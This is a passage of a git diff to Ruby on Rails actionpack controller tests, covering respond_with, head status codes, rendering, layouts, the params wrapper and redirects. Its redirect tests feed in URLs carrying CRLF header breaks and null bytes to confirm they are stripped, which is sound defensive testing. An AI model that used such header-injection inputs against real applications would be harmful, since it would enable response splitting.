-    assert_equal " ", @response.body
+    assert_equal "", @response.body
   end
 
   def test_using_resource_for_put_with_xml_yields_unprocessable_entity_on_failure
@@ -852,7 +902,7 @@ class RespondWithControllerTest < ActionController::TestCase
     delete :using_resource
     assert_equal "application/xml", @response.content_type
     assert_equal 204, @response.status
-    assert_equal " ", @response.body
+    assert_equal "", @response.body
   end
 
   def test_using_resource_for_delete_with_json_yields_no_content_on_success
@@ -862,7 +912,7 @@ class RespondWithControllerTest < ActionController::TestCase
     delete :using_resource
     assert_equal "application/json", @response.content_type
     assert_equal 204, @response.status
-    assert_equal " ", @response.body
+    assert_equal "", @response.body
   end
 
   def test_using_resource_for_delete_with_html_redirects_on_failure
@@ -941,8 +991,9 @@ class RespondWithControllerTest < ActionController::TestCase
   def test_clear_respond_to
     @controller = InheritedRespondWithController.new
     @request.accept = "text/html"
-    get :index
-    assert_equal 406, @response.status
+    assert_raises(ActionController::UnknownFormat) do
+      get :index
+    end
   end
 
   def test_first_in_respond_to_has_higher_priority
@@ -968,6 +1019,18 @@ class RespondWithControllerTest < ActionController::TestCase
     assert_match(/"error":"RenderJsonTestException"/, @response.body)
   end
 
+  def test_api_response_with_valid_resource_respect_override_block
+    @controller = RenderJsonRespondWithController.new
+    post :create, :name => "sikachu", :format => :json
+    assert_equal '{"valid":true}', @response.body
+  end
+
+  def test_api_response_with_invalid_resource_respect_override_block
+    @controller = RenderJsonRespondWithController.new
+    post :create, :name => "david", :format => :json
+    assert_equal '{"valid":false}', @response.body
+  end
+
   def test_no_double_render_is_raised
     @request.accept = "text/html"
     assert_raise ActionView::MissingTemplate do
@@ -1063,7 +1126,7 @@ class RespondWithControllerTest < ActionController::TestCase
           resources :quiz_stores do
             resources :customers
           end
-          match ":controller/:action"
+          get ":controller/:action"
         end
         yield
       end
@@ -1079,7 +1142,7 @@ class PostController < AbstractPostController
   around_filter :with_iphone
 
   def index
-    respond_to(:html, :iphone)
+    respond_to(:html, :iphone, :js)
   end
 
 protected
@@ -1126,4 +1189,45 @@ class MimeControllerLayoutsTest < ActionController::TestCase
     get :index
     assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
   end
+
+  def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout
+    get :index, :format => :js
+    assert_equal "Hello Firefox", @response.body
+  end
+end
+
+class FlashResponder < ActionController::Responder
+  def initialize(controller, resources, options={})
+    super
+  end
+
+  def to_html
+    controller.flash[:notice] = 'Success'
+    super
+  end
+end
+
+class FlashResponderController < ActionController::Base
+  self.responder = FlashResponder
+  respond_to :html
+
+  def index
+    respond_with Object.new do |format|
+      format.html { render :text => 'HTML' }
+    end
+  end
+end
+
+class FlashResponderControllerTest < ActionController::TestCase
+  tests FlashResponderController
+
+  def test_respond_with_block_executed
+    get :index
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_flash_responder_executed
+    get :index
+    assert_equal 'Success', flash[:notice]
+  end
 end
diff --git a/actionpack/test/controller/new_base/bare_metal_test.rb b/actionpack/test/controller/new_base/bare_metal_test.rb
index 3ca29f1bcf..7396c850ad 100644
--- a/actionpack/test/controller/new_base/bare_metal_test.rb
+++ b/actionpack/test/controller/new_base/bare_metal_test.rb
@@ -23,6 +23,12 @@ module BareMetalTest
 
       assert_equal "Hello world", string
     end
+
+    test "response_body value is wrapped in an array when the value is a String" do
+      controller = BareController.new
+      controller.index
+      assert_equal ["Hello world"], controller.response_body
+    end
   end
 
   class HeadController < ActionController::Metal
@@ -31,6 +37,36 @@ module BareMetalTest
     def index
       head :not_found
     end
+
+    def continue
+      self.content_type = "text/html"
+      head 100
+    end
+
+    def switching_protocols
+      self.content_type = "text/html"
+      head 101
+    end
+
+    def processing
+      self.content_type = "text/html"
+      head 102
+    end
+
+    def no_content
+      self.content_type = "text/html"
+      head 204
+    end
+
+    def reset_content
+      self.content_type = "text/html"
+      head 205
+    end
+
+    def not_modified
+      self.content_type = "text/html"
+      head 304
+    end
   end
 
   class HeadTest < ActiveSupport::TestCase
@@ -38,6 +74,72 @@ module BareMetalTest
       status = HeadController.action(:index).call(Rack::MockRequest.env_for("/")).first
       assert_equal 404, status
     end
+
+    test "head :continue (100) does not return a content-type header" do
+      headers = HeadController.action(:continue).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers['Content-Type']
+      assert_nil headers['Content-Length']
+    end
+
+    test "head :continue (101) does not return a content-type header" do
+      headers = HeadController.action(:continue).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers['Content-Type']
+      assert_nil headers['Content-Length']
+    end
+
+    test "head :processing (102) does not return a content-type header" do
+      headers = HeadController.action(:processing).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers['Content-Type']
+      assert_nil headers['Content-Length']
+    end
+
+    test "head :no_content (204) does not return a content-type header" do
+      headers = HeadController.action(:no_content).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers['Content-Type']
+      assert_nil headers['Content-Length']
+    end
+
+    test "head :reset_content (205) does not return a content-type header" do
+      headers = HeadController.action(:reset_content).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers['Content-Type']
+      assert_nil headers['Content-Length']
+    end
+
+    test "head :not_modified (304) does not return a content-type header" do
+      headers = HeadController.action(:not_modified).call(Rack::MockRequest.env_for("/")).second
+      assert_nil headers['Content-Type']
+      assert_nil headers['Content-Length']
+    end
+
+    test "head :no_content (204) does not return any content" do
+      content = HeadController.action(:no_content).call(Rack::MockRequest.env_for("/")).third.first
+      assert_empty content
+    end
+
+    test "head :reset_content (205) does not return any content" do
+      content = HeadController.action(:reset_content).call(Rack::MockRequest.env_for("/")).third.first
+      assert_empty content
+    end
+
+    test "head :not_modified (304) does not return any content" do
+      content = HeadController.action(:not_modified).call(Rack::MockRequest.env_for("/")).third.first
+      assert_empty content
+    end
+
+    test "head :continue (100) does not return any content" do
+      content = HeadController.action(:continue).call(Rack::MockRequest.env_for("/")).third.first
+      assert_empty content
+    end
+
+    test "head :switching_protocols (101) does not return any content" do
+      content = HeadController.action(:switching_protocols).call(Rack::MockRequest.env_for("/")).third.first
+      assert_empty content
+    end
+
+    test "head :processing (102) does not return any content" do
+      content = HeadController.action(:processing).call(Rack::MockRequest.env_for("/")).third.first
+      assert_empty content
+    end
   end
 
   class BareControllerTest < ActionController::TestCase
diff --git a/actionpack/test/controller/new_base/content_type_test.rb b/actionpack/test/controller/new_base/content_type_test.rb
index 4b70031c90..9b57641e75 100644
--- a/actionpack/test/controller/new_base/content_type_test.rb
+++ b/actionpack/test/controller/new_base/content_type_test.rb
@@ -43,7 +43,7 @@ module ContentType
     test "default response is HTML and UTF8" do
       with_routing do |set|
         set.draw do
-          match ':controller', :action => 'index'
+          get ':controller', :action => 'index'
         end
 
         get "/content_type/base"
diff --git a/actionpack/test/controller/new_base/render_action_test.rb b/actionpack/test/controller/new_base/render_action_test.rb
index aa44e0b282..475bf9d3c9 100644
--- a/actionpack/test/controller/new_base/render_action_test.rb
+++ b/actionpack/test/controller/new_base/render_action_test.rb
@@ -86,8 +86,6 @@ module RenderAction
     def setup
     end
 
-    describe "Both <controller_path>.html.erb and application.html.erb are missing"
-
     test "rendering with layout => true" do
       assert_raise(ArgumentError) do
         get "/render_action/basic/hello_world_with_layout", {}, "action_dispatch.show_exceptions" => false
@@ -154,8 +152,6 @@ module RenderActionWithApplicationLayout
   end
 
   class LayoutTest < Rack::TestCase
-    describe "Only application.html.erb is present and <controller_path>.html.erb is missing"
-
     test "rendering implicit application.html.erb as layout" do
       get "/render_action_with_application_layout/basic/hello_world"
 
@@ -232,8 +228,6 @@ module RenderActionWithControllerLayout
   end
 
   class ControllerLayoutTest < Rack::TestCase
-    describe "Only <controller_path>.html.erb is present and application.html.erb is missing"
-
     test "render hello_world and implicitly use <controller_path>.html.erb as a layout." do
       get "/render_action_with_controller_layout/basic/hello_world"
 
@@ -290,8 +284,6 @@ module RenderActionWithBothLayouts
   end
 
   class ControllerLayoutTest < Rack::TestCase
-    describe "Both <controller_path>.html.erb and application.html.erb are present"
-
     test "rendering implicitly use <controller_path>.html.erb over application.html.erb as a layout" do
       get "/render_action_with_both_layouts/basic/hello_world"
 
diff --git a/actionpack/test/controller/new_base/render_layout_test.rb b/actionpack/test/controller/new_base/render_layout_test.rb
index d3dcb5cad6..4ac40ca405 100644
--- a/actionpack/test/controller/new_base/render_layout_test.rb
+++ b/actionpack/test/controller/new_base/render_layout_test.rb
@@ -71,7 +71,8 @@ module ControllerLayouts
     self.view_paths = [ActionView::FixtureResolver.new(
       "layouts/application.html.erb" => "<html><%= yield %></html>",
       "controller_layouts/mismatch_format/index.xml.builder" => "xml.instruct!",
-      "controller_layouts/mismatch_format/implicit.builder" => "xml.instruct!"
+      "controller_layouts/mismatch_format/implicit.builder" => "xml.instruct!",
+      "controller_layouts/mismatch_format/explicit.js.erb" => "alert('foo');"
     )]
 
     def explicit
@@ -81,7 +82,7 @@ module ControllerLayouts
 
   class MismatchFormatTest < Rack::TestCase
     testing ControllerLayouts::MismatchFormatController
-    
+
     XML_INSTRUCT = %Q(<?xml version="1.0" encoding="UTF-8"?>\n)
 
     test "if XML is selected, an HTML template is not also selected" do
@@ -94,10 +95,33 @@ module ControllerLayouts
       assert_response XML_INSTRUCT
     end
 
-    test "if an HTML template is explicitly provides for a JS template, an error is raised" do
-      assert_raises ActionView::MissingTemplate do
-        get :explicit, {}, "action_dispatch.show_exceptions" => false
-      end
+    test "a layout for JS is ignored even if explicitly provided for HTML" do
+      get :explicit, { :format => "js" }
+      assert_response "alert('foo');"
+    end
+  end
+
+  class FalseLayoutMethodController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "controller_layouts/false_layout_method/index.js.erb" => "alert('foo');"
+    )]
+
+    layout :which_layout?
+
+    def which_layout?
+      false
+    end
+
+    def index
+    end
+  end
+
+  class FalseLayoutMethodTest < Rack::TestCase
+    testing ControllerLayouts::FalseLayoutMethodController
+
+    test "access false layout returned by a method/proc" do
+      get :index, :format => "js"
+      assert_response "alert('foo');"
     end
   end
 end
diff --git a/actionpack/test/controller/new_base/render_streaming_test.rb b/actionpack/test/controller/new_base/render_streaming_test.rb
index 1a17e24914..bfca8c5c24 100644
--- a/actionpack/test/controller/new_base/render_streaming_test.rb
+++ b/actionpack/test/controller/new_base/render_streaming_test.rb
@@ -73,19 +73,19 @@ module RenderStreaming
 
     test "rendering with layout exception" do
       get "/render_streaming/basic/layout_exception"
-      assert_body "d\r\n<body class=\"\r\n4e\r\n\"><script type=\"text/javascript\">window.location = \"/500.html\"</script></html>\r\n0\r\n\r\n"
+      assert_body "d\r\n<body class=\"\r\n37\r\n\"><script>window.location = \"/500.html\"</script></html>\r\n0\r\n\r\n"
       assert_streaming!
     end
 
     test "rendering with template exception" do
       get "/render_streaming/basic/template_exception"
-      assert_body "4e\r\n\"><script type=\"text/javascript\">window.location = \"/500.html\"</script></html>\r\n0\r\n\r\n"
+      assert_body "37\r\n\"><script>window.location = \"/500.html\"</script></html>\r\n0\r\n\r\n"
       assert_streaming!
     end
 
     test "rendering with template exception logs the exception" do
       io = StringIO.new
-      _old, ActionController::Base.logger = ActionController::Base.logger, Logger.new(io)
+      _old, ActionController::Base.logger = ActionController::Base.logger, ActiveSupport::Logger.new(io)
 
       begin
         get "/render_streaming/basic/template_exception"
@@ -111,4 +111,4 @@ module RenderStreaming
       assert_equal cache, headers["Cache-Control"]
     end
   end
-end if defined?(Fiber)
+end
diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb
index ba804421da..d0be4f66d1 100644
--- a/actionpack/test/controller/new_base/render_template_test.rb
+++ b/actionpack/test/controller/new_base/render_template_test.rb
@@ -59,6 +59,12 @@ module RenderTemplate
     def with_error
       render :template => "test/with_error"
     end
+
+    private
+
+    def show_detailed_exceptions?
+      request.local?
+    end
   end
 
   class TestWithoutLayout < Rack::TestCase
@@ -120,7 +126,7 @@ module RenderTemplate
     test "rendering a template with error properly excerts the code" do
       get :with_error
       assert_status 500
-      assert_match "undefined local variable or method `idontexist'", response.body
+      assert_match "undefined local variable or method `idontexist", response.body
     end
   end
 
@@ -154,11 +160,9 @@ module RenderTemplate
   end
 
   class TestWithLayout < Rack::TestCase
-    describe "Rendering with :template using implicit or explicit layout"
-
     test "rendering with implicit layout" do
       with_routing do |set|
-        set.draw { match ':controller', :action => :index }
+        set.draw { get ':controller', :action => :index }
 
         get "/render_template/with_layout"
 
diff --git a/actionpack/test/controller/new_base/render_test.rb b/actionpack/test/controller/new_base/render_test.rb
index 60468bf5c7..cc7f12ac6d 100644
--- a/actionpack/test/controller/new_base/render_test.rb
+++ b/actionpack/test/controller/new_base/render_test.rb
@@ -57,7 +57,7 @@ module Render
     test "render with blank" do
       with_routing do |set|
         set.draw do
-          match ":controller", :action => 'index'
+          get ":controller", :action => 'index'
         end
 
         get "/render/blank_render"
@@ -70,7 +70,7 @@ module Render
     test "rendering more than once raises an exception" do
       with_routing do |set|
         set.draw do
-          match ":controller", :action => 'index'
+          get ":controller", :action => 'index'
         end
 
         assert_raises(AbstractController::DoubleRenderError) do
diff --git a/actionpack/test/controller/new_base/render_text_test.rb b/actionpack/test/controller/new_base/render_text_test.rb
index 06d500cca7..d6c3926a4d 100644
--- a/actionpack/test/controller/new_base/render_text_test.rb
+++ b/actionpack/test/controller/new_base/render_text_test.rb
@@ -63,11 +63,9 @@ module RenderText
   end
 
   class RenderTextTest < Rack::TestCase
-    describe "Rendering text using render :text"
-
-    test "rendering text from a action with default options renders the text with the layout" do
+    test "rendering text from an action with default options renders the text with the layout" do
       with_routing do |set|
-        set.draw { match ':controller', :action => 'index' }
+        set.draw { get ':controller', :action => 'index' }
 
         get "/render_text/simple"
         assert_body "hello david"
@@ -75,9 +73,9 @@ module RenderText
       end
     end
 
-    test "rendering text from a action with default options renders the text without the layout" do
+    test "rendering text from an action with default options renders the text without the layout" do
       with_routing do |set|
-        set.draw { match ':controller', :action => 'index' }
+        set.draw { get ':controller', :action => 'index' }
 
         get "/render_text/with_layout"
 
diff --git a/actionpack/test/controller/params_wrapper_test.rb b/actionpack/test/controller/params_wrapper_test.rb
index 7bef1e8d5d..5b05f77045 100644
--- a/actionpack/test/controller/params_wrapper_test.rb
+++ b/actionpack/test/controller/params_wrapper_test.rb
@@ -37,6 +37,14 @@ class ParamsWrapperTest < ActionController::TestCase
     UsersController.last_parameters = nil
   end
 
+  def test_filtered_parameters
+    with_default_wrapper_options do
+      @request.env['CONTENT_TYPE'] = 'application/json'
+      post :parse, { 'username' => 'sikachu' }
+      assert_equal @request.filtered_parameters, { 'controller' => 'params_wrapper_test/users', 'action' => 'parse', 'username' => 'sikachu', 'user' => { 'username' => 'sikachu' } }
+    end
+  end
+
   def test_derived_name_from_controller
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/json'
@@ -147,6 +155,7 @@ class ParamsWrapperTest < ActionController::TestCase
   end
 
   def test_derived_wrapped_keys_from_matching_model
+    User.expects(:respond_to?).with(:accessible_attributes).returns(false)
     User.expects(:respond_to?).with(:attribute_names).returns(true)
     User.expects(:attribute_names).twice.returns(["username"])
 
@@ -159,6 +168,7 @@ class ParamsWrapperTest < ActionController::TestCase
 
   def test_derived_wrapped_keys_from_specified_model
     with_default_wrapper_options do
+      Person.expects(:respond_to?).with(:accessible_attributes).returns(false)
       Person.expects(:respond_to?).with(:attribute_names).returns(true)
       Person.expects(:attribute_names).twice.returns(["username"])
 
@@ -169,8 +179,46 @@ class ParamsWrapperTest < ActionController::TestCase
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }})
     end
   end
+  
+  def test_accessible_wrapped_keys_from_matching_model
+    User.expects(:respond_to?).with(:accessible_attributes).returns(true)
+    User.expects(:accessible_attributes).with(:default).twice.returns(["username"])
+    
+    with_default_wrapper_options do
+      @request.env['CONTENT_TYPE'] = 'application/json'
+      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }})
+    end
+  end
+  
+  def test_accessible_wrapped_keys_from_specified_model
+    with_default_wrapper_options do
+      Person.expects(:respond_to?).with(:accessible_attributes).returns(true)
+      Person.expects(:accessible_attributes).with(:default).twice.returns(["username"])
+
+      UsersController.wrap_parameters Person
+
+      @request.env['CONTENT_TYPE'] = 'application/json'
+      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }})
+    end
+  end
+  
+  def test_accessible_wrapped_keys_with_role_from_specified_model
+    with_default_wrapper_options do
+      Person.expects(:respond_to?).with(:accessible_attributes).returns(true)
+      Person.expects(:accessible_attributes).with(:admin).twice.returns(["username"])
+
+      UsersController.wrap_parameters Person, :as => :admin
+
+      @request.env['CONTENT_TYPE'] = 'application/json'
+      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }})
+    end
+  end
 
   def test_not_wrapping_abstract_model
+    User.expects(:respond_to?).with(:accessible_attributes).returns(false)
     User.expects(:respond_to?).with(:attribute_names).returns(true)
     User.expects(:attribute_names).returns([])
 
@@ -285,3 +333,38 @@ class AnonymousControllerParamsWrapperTest < ActionController::TestCase
     end
   end
 end
+
+class IrregularInflectionParamsWrapperTest < ActionController::TestCase
+  include ParamsWrapperTestHelp
+
+  class ParamswrappernewsItem
+    def self.attribute_names
+      ['test_attr']
+    end
+  end
+
+  class ParamswrappernewsController < ActionController::Base
+    class << self
+      attr_accessor :last_parameters
+    end
+
+    def parse
+      self.class.last_parameters = request.params.except(:controller, :action)
+      head :ok
+    end
+  end
+
+  tests ParamswrappernewsController
+
+  def test_uses_model_attribute_names_with_irregular_inflection
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.irregular 'paramswrappernews_item', 'paramswrappernews'
+    end
+
+    with_default_wrapper_options do
+      @request.env['CONTENT_TYPE'] = 'application/json'
+      post :parse, { 'username' => 'sikachu', 'test_attr' => 'test_value' }
+      assert_parameters({ 'username' => 'sikachu', 'test_attr' => 'test_value', 'paramswrappernews_item' => { 'test_attr' => 'test_value' }})
+    end
+  end
+end
diff --git a/actionpack/test/controller/record_identifier_test.rb b/actionpack/test/controller/record_identifier_test.rb
index f3e5ff8a47..eb38b81e85 100644
--- a/actionpack/test/controller/record_identifier_test.rb
+++ b/actionpack/test/controller/record_identifier_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'controller/fake_models'
 
-class RecordIdentifierTest < Test::Unit::TestCase
+class RecordIdentifierTest < ActiveSupport::TestCase
   include ActionController::RecordIdentifier
 
   def setup
diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb
index 79041055bd..4331333b98 100644
--- a/actionpack/test/controller/redirect_test.rb
+++ b/actionpack/test/controller/redirect_test.rb
@@ -70,6 +70,10 @@ class RedirectController < ActionController::Base
     redirect_to "x-test+scheme.complex:redirect"
   end
 
+  def redirect_to_url_with_network_path_reference
+    redirect_to "//www.rubyonrails.org/"
+  end
+
   def redirect_to_back
     redirect_to :back
   end
@@ -99,9 +103,15 @@ class RedirectController < ActionController::Base
     redirect_to proc { {:action => "hello_world"} }
   end
 
-  def rescue_errors(e) raise e end
+  def redirect_with_header_break
+    redirect_to "/lol\r\nwat"
+  end
 
-  def rescue_action(e) raise end
+  def redirect_with_null_bytes
+    redirect_to "\000/lol\r\nwat"
+  end
+
+  def rescue_errors(e) raise e end
 
   protected
     def dashbord_url(id, message)
@@ -118,6 +128,18 @@ class RedirectTest < ActionController::TestCase
     assert_equal "http://test.host/redirect/hello_world", redirect_to_url
   end
 
+  def test_redirect_with_header_break
+    get :redirect_with_header_break
+    assert_response :redirect
+    assert_equal "http://test.host/lolwat", redirect_to_url
+  end
+
+  def test_redirect_with_null_bytes
+    get :redirect_with_null_bytes
+    assert_response :redirect
+    assert_equal "http://test.host/lolwat", redirect_to_url
+  end
+
   def test_redirect_with_no_status
     get :simple_redirect
     assert_response 302
@@ -216,6 +238,12 @@ class RedirectTest < ActionController::TestCase
     assert_equal "x-test+scheme.complex:redirect", redirect_to_url
   end
 
+  def test_redirect_to_url_with_network_path_reference
+    get :redirect_to_url_with_network_path_reference
+    assert_response :redirect
+    assert_equal "//www.rubyonrails.org/", redirect_to_url
+  end
+
   def test_redirect_to_back
     @request.env["HTTP_REFERER"] = "http://www.example.com/coming/from"
     get :redirect_to_back
@@ -234,7 +262,7 @@ class RedirectTest < ActionController::TestCase
     with_routing do |set|
       set.draw do
         resources :workshops
-        match ':controller/:action'
+        get ':controller/:action'
       end
 
       get :redirect_to_existing_record
@@ -268,7 +296,7 @@ class RedirectTest < ActionController::TestCase
   def test_redirect_to_with_block_and_accepted_options
     with_routing do |set|
       set.draw do
-        match ':controller/:action'
+        get ':controller/:action'
       end
 
       get :redirect_to_with_block_and_options
diff --git a/actionpack/test/controller/render_json_test.rb b/actionpack/test/controller/render_json_test.rb
index fc604a2db3..7c0a6bd67e 100644
--- a/actionpack/test/controller/render_json_test.rb
+++ b/actionpack/test/controller/render_json_test.rb
@@ -1,5 +1,6 @@
 require 'abstract_unit'
 require 'controller/fake_models'
+require 'active_support/logger'
 require 'pathname'
 
 class RenderJsonTest < ActionController::TestCase
@@ -69,7 +70,7 @@ class RenderJsonTest < ActionController::TestCase
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
     super
-    @controller.logger = Logger.new(nil)
+    @controller.logger = ActiveSupport::Logger.new(nil)
 
     @request.host = "www.nextangle.com"
   end
@@ -101,7 +102,7 @@ class RenderJsonTest < ActionController::TestCase
   def test_render_json_with_callback
     get :render_json_hello_world_with_callback
     assert_equal 'alert({"hello":"world"})', @response.body
-    assert_equal 'application/json', @response.content_type
+    assert_equal 'text/javascript', @response.content_type
   end
 
   def test_render_json_with_custom_content_type
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index aea603b014..3f047fc9b5 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -9,7 +9,7 @@ module Fun
     end
 
     def nested_partial_with_form_builder
-      render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {}, Proc.new {})
+      render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
     end
   end
 end
@@ -25,6 +25,8 @@ end
 class TestController < ActionController::Base
   protect_from_forgery
 
+  before_filter :set_variable_for_layout
+
   class LabellingFormBuilder < ActionView::Helpers::FormBuilder
   end
 
@@ -41,7 +43,7 @@ class TestController < ActionController::Base
   end
 
   def hello_world_file
-    render :file => File.expand_path("../../fixtures/hello.html", __FILE__)
+    render :file => File.expand_path("../../fixtures/hello", __FILE__), :formats => [:html]
   end
 
   def conditional_hello
@@ -50,12 +52,28 @@ class TestController < ActionController::Base
     end
   end
 
+  def conditional_hello_with_record
+    record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day, "foo/123")
+
+    if stale?(record)
+      render :action => 'hello_world'
+    end
+  end
+
   def conditional_hello_with_public_header
     if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
       render :action => 'hello_world'
     end
   end
 
+  def conditional_hello_with_public_header_with_record
+    record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day, "foo/123")
+
+    if stale?(record, :public => true)
+      render :action => 'hello_world'
+    end
+  end
+
   def conditional_hello_with_public_header_and_expires_at
     expires_in 1.minute
     if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
@@ -73,13 +91,23 @@ class TestController < ActionController::Base
     render :action => 'hello_world'
   end
 
+  def conditional_hello_with_expires_in_with_must_revalidate
+    expires_in 1.minute, :must_revalidate => true
+    render :action => 'hello_world'
+  end
+
+  def conditional_hello_with_expires_in_with_public_and_must_revalidate
+    expires_in 1.minute, :public => true, :must_revalidate => true
+    render :action => 'hello_world'
+  end
+
   def conditional_hello_with_expires_in_with_public_with_more_keys
-    expires_in 1.minute, :public => true, 'max-stale' => 5.hours
+    expires_in 1.minute, :public => true, 's-maxage' => 5.hours
     render :action => 'hello_world'
   end
 
   def conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
-    expires_in 1.minute, :public => true, :private => nil, 'max-stale' => 5.hours
+    expires_in 1.minute, :public => true, :private => nil, 's-maxage' => 5.hours
     render :action => 'hello_world'
   end
 
@@ -88,6 +116,12 @@ class TestController < ActionController::Base
     render :action => 'hello_world'
   end
 
+  def conditional_hello_with_cache_control_headers
+    response.headers['Cache-Control'] = 'no-transform'
+    expires_now
+    render :action => 'hello_world'
+  end
+
   def conditional_hello_with_bangs
     render :action => 'hello_world'
   end
@@ -152,7 +186,7 @@ class TestController < ActionController::Base
 
   # :ported:
   def render_text_hello_world_with_layout
-    @variable_for_layout = ", I'm here!"
+    @variable_for_layout = ", I am here!"
     render :text => "hello world", :layout => true
   end
 
@@ -348,17 +382,14 @@ class TestController < ActionController::Base
   end
 
   def layout_test_with_different_layout
-    @variable_for_layout = nil
     render :action => "hello_world", :layout => "standard"
   end
 
   def layout_test_with_different_layout_and_string_action
-    @variable_for_layout = nil
     render "hello_world", :layout => "standard"
   end
 
   def layout_test_with_different_layout_and_symbol_action
-    @variable_for_layout = nil
     render :hello_world, :layout => "standard"
   end
 
@@ -367,7 +398,6 @@ class TestController < ActionController::Base
   end
 
   def layout_overriding_layout
-    @variable_for_layout = nil
     render :action => "hello_world", :layout => "standard"
   end
 
@@ -481,6 +511,14 @@ class TestController < ActionController::Base
     render :text => "hello world!"
   end
 
+  def head_created
+    head :created
+  end
+
+  def head_created_with_application_json_content_type
+    head :created, :content_type => "application/json"
+  end
+
   def head_with_location_header
     head :location => "/foo"
   end
@@ -529,12 +567,33 @@ class TestController < ActionController::Base
     render :partial => 'partial'
   end
 
+  def partial_html_erb
+    render :partial => 'partial_html_erb'
+  end
+
   def render_to_string_with_partial
     @partial_only = render_to_string :partial => "partial_only"
     @partial_with_locals = render_to_string :partial => "customer", :locals => { :customer => Customer.new("david") }
     render :template => "test/hello_world"
   end
 
+  def render_to_string_with_template_and_html_partial
+    @text = render_to_string :template => "test/with_partial", :formats => [:text]
+    @html = render_to_string :template => "test/with_partial", :formats => [:html]
+    render :template => "test/with_html_partial"
+  end
+
+  def render_to_string_and_render_with_different_formats
+    @html = render_to_string :template => "test/with_partial", :formats => [:html]
+    render :template => "test/with_partial", :formats => [:text]
+  end
+
+  def render_template_within_a_template_with_other_format
+    render  :template => "test/with_xml_template",
+            :formats  => [:html],
+            :layout   => "with_html_partial"
+  end
+
   def partial_with_counter
     render :partial => "counter", :locals => { :counter_counter => 5 }
   end
@@ -544,11 +603,11 @@ class TestController < ActionController::Base
   end
 
   def partial_with_form_builder
-    render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {}, Proc.new {})
+    render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
   end
 
   def partial_with_form_builder_subclass
-    render :partial => LabellingFormBuilder.new(:post, nil, view_context, {}, Proc.new {})
+    render :partial => LabellingFormBuilder.new(:post, nil, view_context, {})
   end
 
   def partial_collection
@@ -635,10 +694,6 @@ class TestController < ActionController::Base
     render :action => "calling_partial_with_layout", :layout => "layouts/partial_with_layout"
   end
 
-  def rescue_action(e)
-    raise
-  end
-
   before_filter :only => :render_with_filters do
     request.format = :xml
   end
@@ -650,8 +705,11 @@ class TestController < ActionController::Base
 
   private
 
+    def set_variable_for_layout
+      @variable_for_layout = nil
+    end
+
     def determine_layout
-      @variable_for_layout ||= nil
       case action_name
         when "hello_world", "layout_test", "rendering_without_layout",
              "rendering_nothing_on_layout", "render_text_hello_world",
@@ -672,6 +730,14 @@ class TestController < ActionController::Base
     end
 end
 
+class MetalTestController < ActionController::Metal
+  include ActionController::Rendering
+
+  def accessing_logger_in_template
+    render :inline =>  "<%= logger.class %>"
+  end
+end
+
 class RenderTest < ActionController::TestCase
   tests TestController
 
@@ -679,7 +745,8 @@ class RenderTest < ActionController::TestCase
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
     super
-    @controller.logger = Logger.new(nil)
+    @controller.logger      = ActiveSupport::Logger.new(nil)
+    ActionView::Base.logger = ActiveSupport::Logger.new(nil)
 
     @request.host = "www.nextangle.com"
   end
@@ -777,7 +844,7 @@ class RenderTest < ActionController::TestCase
   # :ported:
   def test_do_with_render_text_and_layout
     get :render_text_hello_world_with_layout
-    assert_equal "<html>hello world, I'm here!</html>", @response.body
+    assert_equal "<html>hello world, I am here!</html>", @response.body
   end
 
   # :ported:
@@ -793,9 +860,7 @@ class RenderTest < ActionController::TestCase
   end
 
   def test_render_file
-    assert_deprecated do
-      get :hello_world_file
-    end
+    get :hello_world_file
     assert_equal "Hello world!", @response.body
   end
 
@@ -876,12 +941,12 @@ class RenderTest < ActionController::TestCase
 
   # :ported:
   def test_attempt_to_access_object_method
-    assert_raise(ActionController::UnknownAction, "No action responded to [clone]") { get :clone }
+    assert_raise(AbstractController::ActionNotFound, "No action responded to [clone]") { get :clone }
   end
 
   # :ported:
   def test_private_methods
-    assert_raise(ActionController::UnknownAction, "No action responded to [determine_layout]") { get :determine_layout }
+    assert_raise(AbstractController::ActionNotFound, "No action responded to [determine_layout]") { get :determine_layout }
   end
 
   # :ported:
@@ -892,7 +957,7 @@ class RenderTest < ActionController::TestCase
 
   def test_access_to_logger_in_view
     get :accessing_logger_in_template
